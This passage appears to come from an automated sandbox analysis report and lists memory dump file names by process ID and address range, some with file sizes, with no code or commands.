                                                              Filesize

                                                              8.0MB

                                                            • memory/4744-400-0x0000000140000000-0x0000000140803000-memory.dmp
                                                              Filesize

                                                              8.0MB

                                                            • memory/4744-417-0x00000230FF680000-0x00000230FF6A0000-memory.dmp
                                                              Filesize

                                                              128KB

                                                            • memory/4744-398-0x0000000140000000-0x0000000140803000-memory.dmp
                                                              Filesize

                                                              8.0MB

                                                            • memory/4772-371-0x0000000000000000-mapping.dmp
                                                            • memory/4792-372-0x0000000000000000-mapping.dmp
                                                            • memory/4796-175-0x0000000000000000-mapping.dmp
                                                            • memory/4800-176-0x0000000000000000-mapping.dmp
                                                            • memory/4804-394-0x0000000000000000-mapping.dmp
                                                            • memory/4808-387-0x0000000000000000-mapping.dmp
                                                            • memory/4820-390-0x0000000000000000-mapping.dmp
                                                            • memory/4832-195-0x0000000000000000-mapping.dmp
                                                            • memory/4848-187-0x0000000000000000-mapping.dmp
                                                            • memory/4852-182-0x0000000000000000-mapping.dmp
                                                            • memory/4856-395-0x0000000000000000-mapping.dmp
                                                            • memory/4860-193-0x0000000000000000-mapping.dmp
                                                            • memory/4900-396-0x0000000000000000-mapping.dmp
                                                            • memory/4988-192-0x0000000000000000-mapping.dmp
                                                            • memory/5016-183-0x0000000000000000-mapping.dmp
                                                            • memory/5072-365-0x0000000000000000-mapping.dmp
                                                            • memory/5084-373-0x0000000000000000-mapping.dmp